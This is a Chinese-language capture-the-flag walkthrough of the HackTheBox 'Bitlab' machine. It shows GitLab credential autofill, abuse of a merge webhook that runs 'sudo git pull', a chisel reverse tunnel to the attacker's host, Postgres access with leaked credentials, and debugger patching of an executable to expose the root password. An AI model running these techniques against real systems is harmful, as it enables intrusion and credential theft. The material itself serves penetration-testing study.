[Meachines] [Medium] Bitlab 标签自动填充登录+GitLab+Docker横向+Postgresql+逆向工程

本文主要是介绍[Meachines] [Medium] Bitlab 标签自动填充登录+GitLab+Docker横向+Postgresql+逆向工程,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

信息收集

IP AddressOpening Ports
10.10.10.114TCP:22,80

$ nmap -p- 10.10.10.114 --min-rate 1000 -sC -sV

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a2:3b:b0:dd:28:91:bf:e8:f9:30:82:31:23:2f:92:18 (RSA)
|   256 e6:3b:fb:b3:7f:9a:35:a8:bd:d0:27:7b:25:d4:ed:dc (ECDSA)
|_  256 c9:54:3d:91:01:78:03:ab:16:14:6b:cc:f0:b7:3a:55 (ED25519)
80/tcp open  http    nginx
|_http-trane-info: Problem with XML parsing of /evox/about
| http-robots.txt: 55 disallowed entries (15 shown)
| / /autocomplete/users /search /api /admin /profile 
| /dashboard /projects/new /groups/new /groups/*/edit /users /help 
|_/s/ /snippets/new /snippets/*/edit
| http-title: Sign in \xC2\xB7 GitLab
|_Requested resource was http://10.10.10.114/users/sign_in
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

GitLab Community Edition

http://10.10.10.114/users/sign_in

image.png

$ feroxbuster --url http://10.10.10.114

image-1.png)

http://10.10.10.114/help/bookmarks.html

image-2.png

www-data

image-3.png

点击Bookmark Link

image-4.png

返回到http://10.10.10.114/users/sign_in 点击书签

页面被自动填充

image-5.png

image-6.png

image-7.png

<?php $input = file_get_contents("php://input"); $payload  = json_decode($input); $repo = $payload->project->name ?? ''; $event = $payload->event_type ?? ''; $state = $payload->object_attributes->state ?? ''; $branch = $payload->object_attributes->target_branch ?? ''; if ($repo=='Profile' && $branch=='master' && $event=='merge_request' && $state=='merged') {     echo shell_exec('cd ../profile/; sudo git pull'),"\n"; } echo "OK\n";

当一个名为 “Profile” 的项目在 GitLab 中有针对 “master” 分支的合并请求被合并时,自动在服务器上执行 git pull 来更新本地代码库。

这意味着,如果恶意的东西放进仓库,它会自动部署到服务器。

http://10.10.10.114/profile/

image-8.png

http://10.10.10.114/root/profile/blob/master/index.php

image-9.png

仓库profile中,该页面似乎已经部署在当前环境

image-10.png

创建一个新的分支,然后将其合并到master中,因为这将触发更新。

image-11.png

合并到master中

image-12.png

http://10.10.10.114/profile/

image-13.png

显示和操作 Linux 系统中的邻居表(Neighbor Table)

www-data@bitlab:/tmp# ip neigh

image-14.png

www-data@bitlab:/tmp$ nmap 172.19.0.2-5 --min-rate 1000 -sC -sV -open

image-15.png

Nmap scan report for 172.19.0.2
Host is up (0.00025s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE VERSION
80/tcp open  http    nginx
| http-robots.txt: 55 disallowed entries (15 shown)
| / /autocomplete/users /search /api /admin /profile 
| /dashboard /projects/new /groups/new /groups/*/edit /users /help 
|_/s/ /snippets/new /snippets/*/edit
|_http-server-header: nginx
| http-title: Sign in \xC2\xB7 GitLab
|_Requested resource was http://172.19.0.2/users/sign_inNmap scan report for 172.19.0.4
Host is up (0.00051s latency).
Not shown: 999 closed ports
PORT     STATE SERVICE    VERSION
5432/tcp open  postgresql PostgreSQL DB 9.6.0 or later
| fingerprint-strings: 
|   SMBProgNeg: 
|     SFATAL
|     VFATAL
|     C0A000
|     Munsupported frontend protocol 65363.19778: server supports 2.0 to 3.0
|     Fpostmaster.c
|     L2064
|_    RProcessStartupPacket
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port5432-TCP:V=7.60%I=7%D=9/1%Time=66D3C4DF%P=x86_64-pc-linux-gnu%r(SMB
SF:ProgNeg,8C,"E\0\0\0\x8bSFATAL\0VFATAL\0C0A000\0Munsupported\x20frontend
SF:\x20protocol\x2065363\.19778:\x20server\x20supports\x202\.0\x20to\x203\
SF:.0\0Fpostmaster\.c\0L2064\0RProcessStartupPacket\0\0");Nmap scan report for 172.19.0.5
Host is up (0.00023s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE      VERSION
22/tcp   open  ssh          OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 22:d5:7c:1f:9b:f3:09:ca:c7:54:de:7c:3f:e7:bd:a4 (RSA)
|   256 b7:66:cd:0d:92:30:30:7c:f9:ba:3a:10:7a:aa:10:af (ECDSA)
|_  256 95:c3:63:68:2f:d4:d0:a1:3e:19:eb:c7:1c:18:98:02 (EdDSA)
80/tcp   open  http         nginx
| http-robots.txt: 55 disallowed entries (15 shown)
| / /autocomplete/users /search /api /admin /profile 
| /dashboard /projects/new /groups/new /groups/*/edit /users /help 
|_/s/ /snippets/new /snippets/*/edit
|_http-server-header: nginx
| http-title: Sign in \xC2\xB7 GitLab
|_Requested resource was http://172.19.0.5/users/sign_in
8181/tcp open  intermapper?
| fingerprint-strings: 
|   GenericLines, SSLSessionReq: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 302 Found
|     Cache-Control: no-cache
|     Content-Type: text/html; charset=utf-8
|     Date: Sun, 01 Sep 2024 01:35:27 GMT
|     Location: http://127.0.0.1:8080/users/sign_in
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: DENY
|     X-Request-Id: ubpoqM1wyT
|     X-Runtime: 0.029878
|     X-Ua-Compatible: IE=edge
|     X-Xss-Protection: 1; mode=block
|     Content-Length: 101
|     <html><body>You are being <a href="http://127.0.0.1:8080/users/sign_in">redirected</a>.</body></html>
|   HTTPOptions: 
|     HTTP/1.0 404 Not Found
|     Cache-Control: no-cache, no-store, max-age=0, must-revalidate
|     Content-Length: 3108
|     Content-Type: text/html; charset=utf-8
|     Date: Sun, 01 Sep 2024 01:35:27 GMT
|     Expires: Fri, 01 Jan 1990 00:00:00 GMT
|     Pragma: no-cache
|     X-Request-Id: cDi9vgqagK9
|     X-Runtime: 0.006752
|     <!DOCTYPE html>
|     <html>
|     <head>
|     <meta content="width=device-width, initial-scale=1, maximum-scale=1" name="viewport">
|     <title>The page you're looking for could not be found (404)</title>
|     <style>
|     body {
|     color: #666;
|     text-align: center;
|     font-family: "Helvetica Neue", Helvetica, Arial, sans-serif;
|     margin: auto;
|     font-size: 14px;
|     font-size: 56px;
|     line-height: 100px;
|     font-weight: 400;
|     color: #456;
|     font-size: 24px;
|     color: #666;
|     line-height: 1.5em;
|     color: #456;
|_    font-size
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8181-TCP:V=7.60%I=7%D=9/1%Time=66D3C4DF%P=x86_64-pc-linux-gnu%r(Get
SF:Request,1C7,"HTTP/1\.0\x20302\x20Found\r\nCache-Control:\x20no-cache\r\
SF:nContent-Type:\x20text/html;\x20charset=utf-8\r\nDate:\x20Sun,\x2001\x2
SF:0Sep\x202024\x2001:35:27\x20GMT\r\nLocation:\x20http://127\.0\.0\.1:808
SF:0/users/sign_in\r\nX-Content-Type-Options:\x20nosniff\r\nX-Frame-Option
SF:s:\x20DENY\r\nX-Request-Id:\x20ubpoqM1wyT\r\nX-Runtime:\x200\.029878\r\
SF:nX-Ua-Compatible:\x20IE=edge\r\nX-Xss-Protection:\x201;\x20mode=block\r
SF:\nContent-Length:\x20101\r\n\r\n<html><body>You\x20are\x20being\x20<a\x
SF:20href=\"http://127\.0\.0\.1:8080/users/sign_in\">redirected</a>\.</bod
SF:y></html>")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nC
SF:ontent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\
SF:n\r\n400\x20Bad\x20Request")%r(GenericLines,67,"HTTP/1\.1\x20400\x20Bad
SF:\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnect
SF:ion:\x20close\r\n\r\n400\x20Bad\x20Request")%r(HTTPOptions,D4A,"HTTP/1\
SF:.0\x20404\x20Not\x20Found\r\nCache-Control:\x20no-cache,\x20no-store,\x
SF:20max-age=0,\x20must-revalidate\r\nContent-Length:\x203108\r\nContent-T
SF:ype:\x20text/html;\x20charset=utf-8\r\nDate:\x20Sun,\x2001\x20Sep\x2020
SF:24\x2001:35:27\x20GMT\r\nExpires:\x20Fri,\x2001\x20Jan\x201990\x2000:00
SF::00\x20GMT\r\nPragma:\x20no-cache\r\nX-Request-Id:\x20cDi9vgqagK9\r\nX-
SF:Runtime:\x200\.006752\r\n\r\n<!DOCTYPE\x20html>\n<html>\n<head>\n\x20\x
SF:20<meta\x20content=\"width=device-width,\x20initial-scale=1,\x20maximum
SF:-scale=1\"\x20name=\"viewport\">\n\x20\x20<title>The\x20page\x20you're\
SF:x20looking\x20for\x20could\x20not\x20be\x20found\x20\(404\)</title>\n\x
SF:20\x20<style>\n\x20\x20\x20\x20body\x20{\n\x20\x20\x20\x20\x20\x20color
SF::\x20#666;\n\x20\x20\x20\x20\x20\x20text-align:\x20center;\n\x20\x20\x2
SF:0\x20\x20\x20font-family:\x20\"Helvetica\x20Neue\",\x20Helvetica,\x20Ar
SF:ial,\x20sans-serif;\n\x20\x20\x20\x20\x20\x20margin:\x20auto;\n\x20\x20
SF:\x20\x20\x20\x20font-size:\x2014px;\n\x20\x20\x20\x20}\n\n\x20\x20\x20\
SF:x20h1\x20{\n\x20\x20\x20\x20\x20\x20font-size:\x2056px;\n\x20\x20\x20\x
SF:20\x20\x20line-height:\x20100px;\n\x20\x20\x20\x20\x20\x20font-weight:\
SF:x20400;\n\x20\x20\x20\x20\x20\x20color:\x20#456;\n\x20\x20\x20\x20}\n\n
SF:\x20\x20\x20\x20h2\x20{\n\x20\x20\x20\x20\x20\x20font-size:\x2024px;\n\
SF:x20\x20\x20\x20\x20\x20color:\x20#666;\n\x20\x20\x20\x20\x20\x20line-he
SF:ight:\x201\.5em;\n\x20\x20\x20\x20}\n\n\x20\x20\x20\x20h3\x20{\n\x20\x2
SF:0\x20\x20\x20\x20color:\x20#456;\n\x20\x20\x20\x20\x20\x20font-size");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

postgresql && 隧道

$ chisel server -p 10000 --reverse

www-data@bitlab:/tmp$ ./chisel client 10.10.16.24:10000 R:5432:localhost:5432

image-16.png

连接之前。我们需要找到用户凭证

http://10.10.10.114/dashboard/snippets

image-17.png

http://10.10.10.114/snippets/1

image-18.png

username:profiles password:profiles

$ psql -h 127.0.0.1 -p 5432 -U profiles

image-19.png

profiles=> \list

profiles=> \dt

image-20.png

username:clave password:c3NoLXN0cjBuZy1wQHNz==

image-21.png

User.txt

17c8588ec3bd9790f0ae64ea8ad71d79

权限提升 && 逆向

$ scp clave@10.10.10.114:~/RemoteConnection.exe .

image-22.png

找到call

image-24.png

Address=00F5165A
Disassembly=call dword ptr ds:[]
Destination=<shell32.ShellExecuteW> (75BDB110)

打断点后执行程序,发现jne指令执行后,跳过了shellexec函数。

image-26.png

在执行的时候我们需要nop掉对比过程

00F51640 | 817D 98 D831F500 | cmp dword ptr ss:[ebp-68],remoteconnect | F531D8:L"clave"

很明显这是做一个对比用户名,但是当前主机名不为clave,所以需要绕过if语句,进入Shellexec函数

image-27.png

进入函数

image-28.png

image-29.png

image-30.png

此时在堆栈中就有root用户的密码了

www-data@bitlab:/srv/docker/gitlab/postgresql$ su root

image-23.png

该exe必须x32gdb动态调试才会显示密码

Root.txt

8bd53c50dabbc99ea10a2803fba16481

这篇关于[Meachines] [Medium] Bitlab 标签自动填充登录+GitLab+Docker横向+Postgresql+逆向工程的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1127423

相关文章

java中pdf模版填充表单踩坑实战记录(itextPdf、openPdf、pdfbox)

《java中pdf模版填充表单踩坑实战记录(itextPdf、openPdf、pdfbox)》:本文主要介绍java中pdf模版填充表单踩坑的相关资料,OpenPDF、iText、PDFBox是三... 目录准备Pdf模版方法1:itextpdf7填充表单(1)加入依赖(2)代码(3)遇到的问题方法2:pd

Spring Security 单点登录与自动登录机制的实现原理

《SpringSecurity单点登录与自动登录机制的实现原理》本文探讨SpringSecurity实现单点登录(SSO)与自动登录机制,涵盖JWT跨系统认证、RememberMe持久化Token... 目录一、核心概念解析1.1 单点登录(SSO)1.2 自动登录(Remember Me)二、代码分析三、

MyBatis-Plus 自动赋值实体字段最佳实践指南

《MyBatis-Plus自动赋值实体字段最佳实践指南》MyBatis-Plus通过@TableField注解与填充策略,实现时间戳、用户信息、逻辑删除等字段的自动填充,减少手动赋值,提升开发效率与... 目录1. MyBATis-Plus 自动赋值概述1.1 适用场景1.2 自动填充的原理1.3 填充策略

postgresql使用UUID函数的方法

《postgresql使用UUID函数的方法》本文给大家介绍postgresql使用UUID函数的方法,本文给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友参考下吧... 目录PostgreSQL有两种生成uuid的方法。可以先通过sql查看是否已安装扩展函数,和可以安装的扩展函数

Ubuntu 24.04启用root图形登录的操作流程

《Ubuntu24.04启用root图形登录的操作流程》Ubuntu默认禁用root账户的图形与SSH登录,这是为了安全,但在某些场景你可能需要直接用root登录GNOME桌面,本文以Ubuntu2... 目录一、前言二、准备工作三、设置 root 密码四、启用图形界面 root 登录1. 修改 GDM 配

nginx 负载均衡配置及如何解决重复登录问题

《nginx负载均衡配置及如何解决重复登录问题》文章详解Nginx源码安装与Docker部署,介绍四层/七层代理区别及负载均衡策略,通过ip_hash解决重复登录问题,对nginx负载均衡配置及如何... 目录一:源码安装:1.配置编译参数2.编译3.编译安装 二,四层代理和七层代理区别1.二者混合使用举例

PostgreSQL中rank()窗口函数实用指南与示例

《PostgreSQL中rank()窗口函数实用指南与示例》在数据分析和数据库管理中,经常需要对数据进行排名操作,PostgreSQL提供了强大的窗口函数rank(),可以方便地对结果集中的行进行排名... 目录一、rank()函数简介二、基础示例:部门内员工薪资排名示例数据排名查询三、高级应用示例1. 每

SpringBoot结合Docker进行容器化处理指南

《SpringBoot结合Docker进行容器化处理指南》在当今快速发展的软件工程领域,SpringBoot和Docker已经成为现代Java开发者的必备工具,本文将深入讲解如何将一个SpringBo... 目录前言一、为什么选择 Spring Bootjavascript + docker1. 快速部署与

使用Docker构建Python Flask程序的详细教程

《使用Docker构建PythonFlask程序的详细教程》在当今的软件开发领域,容器化技术正变得越来越流行,而Docker无疑是其中的佼佼者,本文我们就来聊聊如何使用Docker构建一个简单的Py... 目录引言一、准备工作二、创建 Flask 应用程序三、创建 dockerfile四、构建 Docker

SpringBoot+Docker+Graylog 如何让错误自动报警

《SpringBoot+Docker+Graylog如何让错误自动报警》SpringBoot默认使用SLF4J与Logback,支持多日志级别和配置方式,可输出到控制台、文件及远程服务器,集成ELK... 目录01 Spring Boot 默认日志框架解析02 Spring Boot 日志级别详解03 Sp